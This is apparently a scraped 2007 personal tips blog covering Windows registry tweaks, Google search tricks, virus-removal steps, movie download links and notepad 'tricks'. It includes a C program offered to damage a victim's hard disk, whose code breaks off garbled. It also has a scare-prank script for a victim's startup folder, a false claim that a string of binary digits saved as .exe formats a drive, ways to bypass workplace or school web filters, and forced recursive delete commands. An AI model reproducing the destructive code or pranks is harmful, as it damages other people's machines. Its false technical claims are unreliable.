prevent the computer from switching to a different gateway, which could otherwise occur if a DoS attack is in progress. A value of 1 allows the gateway switch.<br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnablePMTUDiscovery Set to 0 to prevent a hacker from forcing an MTU change to a small value and bogging down the TCP/IP protocol stack. Windows uses an MTU value of 576 bytes for all nonlocal connections with this setting at 0. Set to 1 to allow MTU discovery.<br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\KeepAliveTime Set this value (in milliseconds) to a relatively low number to decrease the length of time Windows sends a keep-alive packet to a remote computer to determine if the connection is still valid. Microsoft recommends a value of 300,000, or five minutes.<br />These are all DWORD values<br /><span style="font-weight: bold;">185. Prevent computer from releasing its NetBIOS name </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters \NoNameReleaseOnDemand<br />Set this to 1<br /><span style="font-weight: bold;">186. Change Wait to Kill Server Timeout </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\WaitToKillServiceTimeout<br />Change this to the number of milliseconds to wait before killing a service when Windows NT is shutting down<br /><span style="font-weight: bold;">187. Disable the Windows XP Tour prompt </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Applets\Tour\RunCount<br />Set this DWORD value to 0<br /><span style="font-weight: bold;">188. Disable importing or exporting their Microsoft Internet Explorer (IE) Favorites </span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\DisableImportExportFavorites<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">189. Disable Outlook 2002’s Persistent View </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0 or 11.0\Outlook\Options\PersistViewSelection<br />Set this DWORD value to 0. This will stop Outlook 2002 and later from remembering the item you last had selected in a mail folder.<br /><span style="font-weight: bold;">190. Clear the Google Toolbar search history </span><br />HKEY_CURRENT_USER\Software\Google\NavClient\1.1\History<br />Delete this key to clear the search history<br /><span style="font-weight: bold;">191. Remove the Properties item from the Recycle Bin's context menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin<br />Set this DWORD value to 1.<br /><span style="font-weight: bold;">192. Hide drive letters in My Computer</span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Servers\NoDrives Edit this DWORD value. Using the list below, type a number that corresponds to the drive you want to hide:<br />A: 1<br />B: 2<br />C: 4<br />D: 8<br />E: 16<br />F: 32<br />To hide other drive letters that we didn't list, follow the pattern of doubling the number for each successive drive. For example, drive G: would have a value of 64.<br />To hide multiple drives, add the values together. For example, to hide drives A: and B:, use a value of 3. If you want to hide all drive letters, use a value of 67108864.<br /><span style="font-weight: bold;">193. Stop Internet Links from Opening in Internet Explorer (IE) Sessions </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\AllowWindowReuse<br />Set this DWORD value to 0 to force Windows to open a new IE session when a link is clicked from another application in Windows<br /><span style="font-weight: bold;">194. Stop Internet Explorer (IE) from creating the Links folder under the Favorites menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\LinksFolderName<br />Clear the value data for this. Then start IE and delete the Links folder from the Favorites menu.<span style="font-weight: bold;"> 195. Disable the Internet Explorer (IE) script debugger </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Disable Script Debugger<br />Set the value data to "yes" to disable the script debugger<br /><span style="font-weight: bold;">196. Prevent users from running Cmd.exe </span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">197. Hide Date and Time Information in the System Tray Notification Area </span><br />(contributed by David Chernicoff, david@winnetmag.com)<br />In the May 29 issue of Windows Client UPDATE, I showed you how to make registry changes in Windows XP to hide the icons in the notification area of the system tray from users. A few readers responded that they want to keep the icons but hide date and time information because it occupies so much space. Doing so is easy with the following registry change:<br />1. Launch regedit.<br />2. Open HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\<br />policies\Explorer<br />3. Create a HideClock value of type REG_DWORD and set the value to 1.<br />4. Exit regedit and reboot the computer.<br /><span style="font-weight: bold;">198. Hide a server from network browsers </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\Hidden Set this DWORD value to 1<br /><span style="font-weight: bold;">199. Remove the Manage context-menu option for My Computer </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoManageMyComputerVerb<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">200. Configure the Recovery Console (RC) to not require the administrator password</span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Setup\RecoveryConsole\SecurityLevel Set this to 1<br /><span style="font-weight: bold;">201. Change Backup Interval of the DHCP database </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Parameters\BackupInterval Change this to the number of minutes desired between backups.<br /><span style="font-weight: bold;">202. Prevent DNS spoofing </span><br />HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters\SecureResponses. Set this DWORD value to 1<br /><span style="font-weight: bold;">203. Disable the F3 key search capability for Windows Explorer and Internet Explorer (IE) </span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFindFiles<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">204. Keep a particular user from appearing on the Welcome Screen</span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\<br />Create a new DWORD value with the exact same username as the person you want to hid. Set this value to 0.<br /><span style="font-weight: bold;">205. Recording The Reason For A System Shutdown In XP </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\ShutdownReasonUI Set this DWORD value to 1<br /><span style="font-weight: bold;">206. Modify the title text of Windows Media Player (WMP)</span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer\TitleBar<br />Set this STRING value to be what you want the title to be<br /><span style="font-weight: bold;">207. Change the number of undo levels in Microsoft Excel 2000 and later </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Options\UndoHistory (Excel 2002)<br />HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Options\UndoHistory<br />(Excel 2000)<br />Set this DWORD to a value from 0 to 100<br /><span style="font-weight: bold;">208. Change the number of undo levels in Microsoft Access 2002 </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Access\Settings\Number of Undos<br />Set this DWORD to a value from 1 to 20<br /><span style="font-weight: bold;">209. Stop Microsoft Outlook 2002 from caching the Internet Mail Service (IMS) passwords</span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\10.0\Outlook\Security\EnableRememberPwd Set this DWORD value to 0<br /><span style="font-weight: bold;">210. Clear the Windows Run Most Recently Used List </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU<br />Delete this key to delete the most recently used list in the Run dialog box<br /><span style="font-weight: bold;">211. Prevent Windows Media Player (WMP) 8.0 and later from maintaining recent-files list</span><br />HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Preferences\AddToMRU<br />Set this BINARY value to 00 to disable the list or 01 to enable it<br /><span style="font-weight: bold;">212. Clear Windows Media Player (WMP) 8.0 and later Most Recently Used List </span><br />HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentFileList<br />HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentURLList<br />Delete these keys<br /><span style="font-weight: bold;">213. Empty your Windows NT Documents During Log Off </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClearRecentDocsOnExit Set this value to 1<br /><span style="font-weight: bold;">214. Configure Windows XP Searches to Default to Your Preferences </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer<br />\CaseSensitive<br />\IncludeSubFolders<br />\SearchHidden<br />\SearchSlowFiles<br />\SearchSystemDirectories<br />Set these values to 1 to enable or 0 to disable<br /><span style="font-weight: bold;">215. Run commands automatically when a console opens </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\Autorun<br />Enter a command here that you want to run startup for all command console sessions<br /><span style="font-weight: bold;">216. Increase logon timeout for slow networks </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\ExpectedDialupDelay Set this DWORD value to the number of seconds you want to wait for a response from the server. You can set the value at anywhere between 0 and 600 seconds.<br /><span style="font-weight: bold;">217. Add Internet time servers to Windows XP </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\DateTime\Servers<br />Right-click the Servers key, and select New | String value.<br />Name the value 3, and press [Enter] twice to access the Edit String Value dialog box.<br />Type the address of the SNTP time server in the Value Data text box, and click OK.<br />Repeat Steps 3 through 5 for each additional SNTP time server you want to add, incrementing the value name each time: 4, 5, 6, and so on.<br /><span style="font-weight: bold;">218. Optimize the Server service for memory use or network throughput </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\Size Chang the value to 1 to minimize memory use, 2 to balance memory and network throughput, or 3 to maximize network throughput<br /><span style="font-weight: bold;">219. Configure System Cache Setting </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\LargeSystemCache<br />Set this to 0 for desktop mode or 1 for server mode<br /><span style="font-weight: bold;">220. Customize the Windows Messenger Startup Message </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MessengerService\Policies\IMWar<br />Set this REG_SZ to the message you want to appear when Windows Messenger starts<br /><br /></email></user></user></user></user></user></user></user></desktop></user></user></user><span style="font-style: italic;"><span>Instead of performing the above difficult to remember process, simply save the following with an extension of .reg and add it's contents to the registry by double clicking on it.</span><br />for example:<br /></span><span style="font-style: italic;">WindowsMediaPlayer title</span><span style="font-style: italic;"><br /><br /></span>Windows Registry Editor Version 5.00<br />[HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer]<br />"TitleBar"="naveen"<span style=""></span><br /></div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-50660295701573885922007-11-21T00:30:00.000+05:302007-12-09T00:43:45.935+05:30Goooooooooooogle tips<div style="text-align: justify;"><span style="font-weight: bold;">What is "Google"?</span><br />Definition: Googol<br />Pronunciation: 'gü-"gol<br />Function: noun<br /></div>Google is a play on the word googol, which was coined by Milton Sirotta, nephew of American mathematician Edward Kasner, and was popularized in the book, "Mathematics and the Imagination" by Kasner and James Newman. It refers to the number represented by the numeral 1 followed by 100 zeros. Google's use of the term reflects the company's mission to organize the immense, seemingly infinite amount of information available on the web.<br /><div style="text-align: justify;">Originally called "Backrub", the logic behind the Google search engine was develop by graduate students Larry Page and Sergey Brin at Stanford University in 1995. Their first place of business was literally a garage. The garage location was chosen because it had a washer/dryer and a hot tub out back, they were already serving 10,000 searches a day.<br />try this link--<br />http://www.google.com/corporate/history.html<br />So How Does Google Work?<br />* Crawls and indexes web pages et al.<br />* Stores copies of web pages and graphics on their caching servers<br />* Presents users with simple front end to query the database of cached pages<br />* Returns search results in a ordered fashion based upon relevancy<br /><span style="font-weight: bold;">Anatomy of a Search </span><br />http://computer.howstuffworks.com/search-engine1.htm<br />Server Side<br />Client Side<br /><span style="font-weight: bold;">What Can Google Search? </span><br />* Adobe Portable Document Format (pdf)<br />* Adobe PostScript (ps)<br />* Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)<br />* Lotus WordPro (lwp)<br />* MacWrite (mw)<br />* Microsoft Excel (xls)<br />* Microsoft PowerPoint (ppt)<br />* Microsoft Word (doc)<br />* Microsoft Works (wks, wps, wdb)<br />* Microsoft Write (wri)<br />* Rich Text Format (rtf)<br />* Shockwave Flash (swf)<br />* Text (ans, txt)<br /><span style="font-weight: bold;">What is "Google"?</span><br />cont.<br />So What Determines Page Relevance and Rating?<br />* Exact Phrase: are your keywords found as an exact phrase in any pages?<br />* Adjacency: how close are your keywords to each other?<br />* Weighting: how many times do the keywords appear in the page?<br />* PageRank/Links: How many links point to the page? How many links are actually in the page?<br />Equation: (Exact Phrase Hit)+(AdjacencyFactor)+(Weight) * (PageRank/Links)<br /><span style="font-weight: bold;">How Do I Get Results? </span><br />* Pick your keywords carefully & be specific<br />* Do NOT exceed 10 keywords<br />* Use Boolean modifiers<br />* Use advanced operators<br />* Google ignores some words:<br />a, about, an, and, are, as, at, be, by, from, how, i, in, is, it, of,<br />on, or, that, the, this, to, we, what, when, where, which, with<br />Google's Boolean Modifiers<br />* AND is always implied.<br />* OR: Escobar (Narcotics OR Cocaine)<br />* "-" = NOT: Escobar -Pablo<br />* "+" = MUST: Escobar +Roberto<br />* Use quotes for exact phrase matching: "nobody puts baby in a corner"<br />OR<br />"there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns, the ones we don't know we don't know."<br /><span style="font-weight: bold;">Use Google To Calculate Mathematical Equations</span><br /></div>Google adds in new functions in its search every year. A couple of years ago, it quietly added the ability to calculate mathematical equations right from the search box.<br />If you enter 25 + 35, Google will return 25 + 35 = 60, along with, of course, an option to search for documents that include the term 25 + 35.<br />To use Google's built-in calculator function, simply enter the calculation you'd like done into the search box and hit the Enter key or click on the Google Search button. The calculator can solve math problems involving basic arithmetic, more complicated math, units of measure and conversions, and physical constants.<br />Try one of the sample expressions below, or refer to google complete instructions for help in building your own.<br /><div style="text-align: justify;">http://www.google.co.in/help/calculator.html<br />These sample queries demonstrate the utility and power of this new feature:<br />* 5+2*2<br />* 2^20<br />* sqrt(-4)<br />* half a cup in teaspoons<br />* 160 pounds * 4000 feet in Calories<br /><span style="font-weight: bold;">language converter............</span><br />from google---<br />http://translate.google.com/translate_t<br />and from altavista ---<br />http://babelfish.altavista.digital.com/babelfish/tr<br /></div><span style="font-weight: bold;">How To View any Restricted Website with Google</span><br />Most companies and schools employ proxy servers to filter unwanted sites so employees won’t waste precious company resources surfing sites that the companies deem unproductive.<br />One way is to use an anonymous proxy server (such as http://www.spysurfing.com/). But once the system administrator learns about this, he will likely block this site as well. A much more foolproof way is to use Google.<br /><div style="text-align: justify;">3 ways to use google to see restricted sites:<br />1. An interesting workaround to bypass your proxy server is to use Google Translate to translate the page you want to view from English to English, like this:<br />http://www.google.com/translate?langpair=en|en&u=www.websiteurl.com<br /><br />2. Another interesting way to bypass it is to use Google Mobile to load a site:<br />http://www.google.com/gwt/n?u=www.websiteurl.com<br /><br />For example:<br />http://www.google.com/gwt/n?u=www.youtube.com<br /><br />3. The third technique is to use Google Cache.<br />Search in Google.com your desired website. If you search for myspace.com in the right of the domain you’ll see the word Cached.<br />Using this technique, you should be able to view most of the sites you want. The only downside to this is that the content cached by Google might be outdated, and some images may not load at all.</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-57002104401041130412007-11-03T18:45:00.001+05:302007-12-28T17:12:02.928+05:30Removing Virus......<div style="text-align: justify;"><span style="font-weight: bold;">folder option Problem</span><br />u r pc is infected with some virus or disabled by Someone<br />may be ravmon.exe<br />t removes folder options from list<br />u hav got some tools like RRT to remove restrictions like folder option<br />u can view all folders(hidden also) after using that tool<br />download the tool and enjoyyyyyyyy<br />or<br />1.Execute Regedit (shortcut, or StartMenu -- Run, and type regedit ..)<br />2. move with mouse to menu in Regedit's window and go to Edit -- Find (or simply stroke Ctrl+F)<br />3. Type HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E xplorer<br />4. and finally - find REG_DWORD entry, named NoFolderOptions (if it is there at all, but probably it is) See, if mentioned entry has value 1 ... If it has, simply change it to 0, and that should do the trick<br /><span style="font-weight: bold;">drives don open with doubleclick</span><br />The symptom occurs because when autorun.vbs is created by trojan horse or virus.<br />[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]<br />Userinit=userinit.exe,autorun.exe<br />Finally, autorun.bat will call wscript.exe to run autorun.vbs.<br />When antivirus or security software detected the autorun.vbs file as infected, the file will be deleted or removed or quarantined. However, other files (autorun.*) and registry value still referring to autorun.vbs, and this document no longer exists, hence the error when users double<br />click to open a drive folder. To correct and solve this error, follow this steps:<br />Run Task Manager (Ctrl-Alt-Del or right click on Taskbar)<br />Stop wscript.exe process if available by highlighting the process name and clicking End Process.<br />Then terminate explorer.exe process.<br />In Task Manager, click on File -> New Task (Run…).<br />Type “cmd” (without quotes) into the Open text box and click OK.<br />Type the following command one by one followed by hitting Enter key:<br />del c:\autorun.* /f /s /q /a<br />del d:\autorun.* /f /s /q /a<br />del e:\autorun.* /f /s /q /a<br />c, d, e each represents drive letters on Windows system. If there are more drives or partitions available, continue to command by altering to other drive letter. Note that you must also clean the autorun files from USB flash drive or portable hard disk as the external drive may also be infected. then in Task Manager, click on File -> New Task (Run…).<br />Type “regedit” (without quotes) into the Open text box and click OK.<br />Navigate to the following registry key:<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon<br />Check if the value name and value data for the key is correct (the value data of userint.exe include the path which may be different than C drive, which is also valid, note also the comma<br />which is also needed):<br />“Userinit”=”C:\WINDOWS\system32\userinit.exe,”<br />If the value is incorrent, modify it to the valid value data.<br />Or<br />whenever u bring a USB from an untrusted source, or u are suspicious, u right click the drive --->explore. This way the trojan, if present wont run. Also, if a drive doesnt open due to trojan, for the time being u can open it by right click drive--->explore. After that u can unhide hidden files and system files from the folder options to search for suspicious files and folders and remove/rename them. In USBs, the trojans come with an autorun.ini/.inf and the trojan program which gets executed by the script in the autorun.ini/inf Lets see wether your system is infected or not... <a href="http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download">Download </a>HijackThis<br />Install and run this software<br />Click "Do a system and save logfile"<br />There are chances of possible malware present in your system that's why i suggested this software.<br /><span style="font-weight: bold;">desktop_ini Trojan</span><br />well this is a nearly harmless virus, i'm also infected with this...........but don't worry do the following go to my computer right-click on C drive and choose serch option enter the keyword u mention & click on search(after enablibg all options except case sensitive from more advanced option) after finishing search select all what the search shows and press shift+del do the same for remaining drives<br /><b>Brontok Worm Problem</b><br />Brontok is a computer worm, which spreads through emails and USB drives.There are so many variants of brontok but they basically work Similarly. How do I know if my system is infected? You can’t start Regedit.exe<br />When trying to start any other registry editor, the system restarts The system also restarts when executing certain EXE files The presence of the following files:<br />%WINDIR%\eksplorasi.pif<br />%UserProfile%\Local Settings\Application Data\smss.exe<br />%UserProfile%\Local Settings\Application Data\services.exe<br />%UserProfile%\Local Settings\Application Data\lsass.exe<br />%UserProfile%\Local Settings\Application Data\csrss.exe<br />%UserProfile%\Local Settings\Application Data\inetinfo.exe<br />%UserProfile%\Local Settings\Application Data\winlogon.exe<br />%UserProfile%\Start Menu\Programs\Startup\Empty.pif<br />%UserProfile%\Templates\WowTumpeh.com<br />%WINDIR%\%CURRENT_USER%’s Setting.scr<br />%WINDIR%\ShellNew\bronstab.exe<br />All these files have the size of the worm’s main executable: 42,028<br /><!--[if !supportEmptyParas]-->Bytes (About 42 KB).<!--[endif]--><o:p></o:p> <p class="MsoNormal">What does it do?<br />Disable Folder Optionsa<br />Disable Registry Editor<br />Installs itself in the startup<br /><!--[if !supportEmptyParas]-->When in memory, it will restart the system if any program involving the Registry is started<br /><!--[if !supportEmptyParas]-->How to remove Brontok?<br />Download and run this brontok removal tool from Bitdefender. This tool Will kill the brontok process, restore folder options and registry.</p><span style="font-weight: bold;">orkut is blocked with message</span><br />Due to the attack of w32.USBWorm , the users may not be able to use Mozilla Firefox. And, when you use Internet explorer to open Orkut, you see a message. Also, the hidden files are not shown, even if we have selected Show hidden files in Folder Options.To resolve this problem, click here after you complete the below given steps.<br />Warning: Turn off System Restore before following these steps.<br />Tip: Its better to do the work in Safe mode.<br />You can try the following steps to resolve the problem:<br />Steps:<br />1. Press Ctrl+Alt+Del to open Task Manager. (Task Manager Disabled?)<br />2. Go to the Processes tab.<br />3. Click on Image Name tab to sort in accordance to name.<br />4. look for Image Name svchost.exe . There will be many, but click on which has User Name as<br />your user name .<br />5. After clicking on it, press Delete button (or click on End Process button). Click on Yes for confirmation.<br />6. Soon after the above step is done, select Run (?) from Start menu.<br />Type as follows:<br />C:\heap41a and press Enter. (Where C: is the Windows drive)<br />That takes you to a hidden folder heap41a in Windows drive.<br />7. Delete all files in that folder.<br />8. Now, start Registry Editor. (Start > Run > regedit) [(No Run?)(Regedit disabled?)]<br />9. Press Ctrl+F . Type heap41a and press Enter.<br />You can find two entries while you are finding, such as..<br />C:\heap41a\svchost.exe<br />C:\heap(some number)\std.txt<br />Delete both the entries.<br />10. Close the Registry Editor.</div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com1tag:blogger.com,1999:blog-6039373802489229043.post-26723992636457733322007-11-03T18:06:00.002+05:302008-01-05T17:26:46.666+05:30Movies siteshttp://www.greatindiamovies.org/forums/index.php<br />http://www.ajaypr.com/2007/08/download-videos.html?h<br />http://www.torrentsgalaxy.com<br />http://www.onlinetelugumovies.com/board/forumdisplay.php?f=30<br />http://directdownloadstuff.blogspot.com/<br />http://teluguvideo.blogspot.com/<br />http://www.greatindiamovies.org/forums/index.php<br />http://www.divxcrawler.com/movies.htm<br />http://latestcollection.blogspot.com/Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com1tag:blogger.com,1999:blog-6039373802489229043.post-88632430295766272132007-10-31T17:01:00.000+05:302008-01-05T16:35:21.029+05:30Windows tips 3<div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><span style="font-weight: bold;">Hidden Star Wars Movie in Windows XP</span><br />Microsoft has hidden a version of Star Wars done entirely with ASCII characters in the Windows XP operating system.But you must be connected to internet to view it.When online,go to start->run.Now type ' telnet towel.blinkenlights.nl ' without the single quotes.See it for yourself.<br />It works only in Windows Xp.If you have any other operating system,watch it on YouTube:</span><br />http://www.youtube.com/watch?v=kdhrE5RMDfQ<br />http://www.youtube.com/watch?v=vxW2EePW8qA<span style="color: rgb(51, 51, 51);"><br /><b>Test if Antivirus is Working or not Using notepad<br /></b>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<br /><br />Open notepad..........Copy the above code in the file....<br />then save it with the name fakevirus.exe<br />If this file got deleted immediately ....That means ur antivirus is working properly<br /><b>A Funny Notepad Trick1</b><br />1. Open a blank Notepad file<br />2. Write .LOG as the first line of the file, followed by a enter. Save the file and close it.<br />3. Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.<br />4. Type your notes and then save and close the file.<br />After that open the file and see the changes.<br /><b>A Funny Notepad Trick2</b><br />Did you know that the flight number of the plane that had hit WTC ...on 9/11 was Q33N ....Open your Notepad in ur computer and type the flight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings.<br /><b>A Funny Notepad Trick3</b><br />Make friends scare of VIRUS<br />Open notepad and type this:<br />lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")<br />Then save it as Virus.VBS<br />and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.On startup the window should appear.Note: This does not harm your computer as it does not contain virus.<br /><b>Format Hard Disk using Notepad</b><br />1. Write The Following In Notepad Exactly as it says<br />2. Write the following code:01001011000111110010010101010101010000011111100000<br />3. Save As it as .EXE and any Name would Do.<br />4. If u run the program means it will format the Hard Drive.<br />Note:This is for learning purpose only. am not responsible for any liablities.<br /><b>/*create bad sectors on the hard disk.</b><br />*<br />* This program will create bad sectors on the hard disk. If you left it<br />* running for long enough, it could render a hard disk quite useless. When<br />* bad sectors are found, the sector is marked as bad, so fixing the hard disk<br />* is not an easy task. Unless the victim has time and knowledge to fix the<br />* disk, the hard drive can be left quite literally defective.<br />* supported by preetam<br />* I don't take responsibility for what you do with this program, served foe educational purpose only.<br />*<br />*<br />*/<br /><br />#include<br />#include<br />#include<br />#include<br />#include<br />#include<br />#include<br /><br />#define HDSIZE 640000<br />void handle_sig();<br />int main() {<br />int i = 0;<br />int x;<br />int fd[5];<br />signal(SIGINT, handle_sig);<br />signal(SIGHUP, handle_sig);<br />signal(SIGQUIT, handle_sig);<br />signal(SIGABRT, handle_sig);<br />signal(SIGTERM, handle_sig);<br />char *buf;<br />buf = malloc(HDSIZE);<br />printf("sekt0r: trashing hard disk with bad sectors!\n");<br />while(1) {<br />fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);<br />fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);<br />fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);<br />fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);<br />fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);<br />for(x = 0; x < style="font-weight: bold;"><br /><b>MS WORD Secret</b><br />Open Microsoft word n then type<br />=rand (200, 99)<br />then press enter</span><br /><b><span style="color: rgb(51, 51, 51);">Windows XP Secret Music</span></b><span style="color: rgb(51, 51, 51);"><br />Microsoft Windows XP is playing a cool music during installation. It is a pleasant little tune that you’ve probably never heard, unless you were present when Windows was being installed on your PC. After that it’s never played again, unless you know where to look for it.<br />To hear what you’ve been missing, just follow these:<br />Make you way to C:\WINDOWS\system32\oobe\images and look for a file called "Title.wma" or possibly "Windows welcome music.wma". It is around 2.56Mb in size. Just double click the file and this will open Windows Media Player, or your defaul player and it will proceed to serenade you with a more than 5 minutes music. It's up to you to repeat it.<br />CooL!!!<br /><b>How to Lock a Folder Using Notepad</b><br />1.Consider you want to lock a folder named PICS in your D:\, whose path is D:\PICS<br />2.Now open the Notepad and type the following<br />ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}<br />3.Where pics is your folder name. Save the text file as loc.bat in the same drive.<br />4.Open another new notepad text file and type the following<br />ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics<br />5.Save the text file as key.bat in the same drive.<br />---------<br />Usage:<br />---------<br />6.To lock the pics folder, simply click the loc.bat and it will transform into control panel icon, which is inaccessible.<br />7.To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.<br /><b>Locking folders without software</b><br />cls<br />@ECHO OFF<br />title Folder Locker<br />if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK<br />if NOT EXIST Locker goto MDLOCKER<br />:CONFIRM<br />echo Are you sure u want to Lock the folder(Y/N)<br />set/p "cho=>"<br />if %cho%==Y goto LOCK<br />if %cho%==y goto LOCK<br />if %cho%==n goto END<br />if %cho%==N goto END<br />echo Invalid choice.<br />goto CONFIRM<br />:LOCK<br />ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"<br />attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"<br />echo Folder locked<br />goto End<br />:UNLOCK<br />echo Enter password to Unlock folder<br />set/p "pass=>"<br />if NOT %pass%==type your password here goto FAIL<br />attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"<br />ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker<br />echo Folder Unlocked successfully<br />goto End<br />:FAIL<br />echo Invalid password<br />goto end<br />:MDLOCKER<br />md Locker<br />echo Locker created successfully<br />goto End<br />:End<br /><br />* Now paste it in notepad.<br />Save it as batch file(with extension .bat).Any name will do.<br />Now you see a batch file. Double click it to create a folder locker.<br />A new folder named Locker would be formed at the same location.<br />Now brings all the files you want to hide in the locker folder.<br />Now double click the batch file to lock the folder namely Locker.<br />If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.</span></p><p style="text-align: justify;" class="MsoNormal"><span style="font-weight: bold;">use pc as an alarm<br /></span>Now this is specially for the ones who are too lazy to get up even when the trust cellphone dies screeching its lungs out. Its pretty simple Creating the playlist create a playlist of your favourite songs in Winamp, WMP or any other player. Export the playlist as a M3U playlist. M3U is generally accepted by almost every player. Triggering the alarm point to start> programs >accessories > system tools >scheduled tasks Create a new task and choose program as windows media player or winamp (May work with others too but I haven't tried anything else) Choose "daily", Enter the time and choose "every day" at next screen. It would now ask for password (leave blank in case you don't have one) Right click on the newly created task and check the "run only if logged in" check box. In the properties. Append the path to the playlist you created in the "run" text box. It should now look like Code:<br />Code:<br /><span style="color: rgb(51, 51, 51);">"D:\windows mediaplayer\wmplayer.exe"K:\Playlists\smoothies.m3uthe text inside quotes is my WMP's path. It may vary for you. The text after WMP's path is the one to the playlist. Click OK and you're done.<br /></span><b><span style="color: rgb(51, 51, 51);">A Hidden Secret in Xp<br /></span></b>Create a new folder with the name ABC(of course you can give any name).<br />Open the command prompt and rename it to one of the following:<br />.{20D04FE0-3AEA-1069-A2D8-08002B30309D} (= My Computer)<br />.{450D8FBA-AD25-11D0-98A8-0800361B1103} (= My Documents)<br 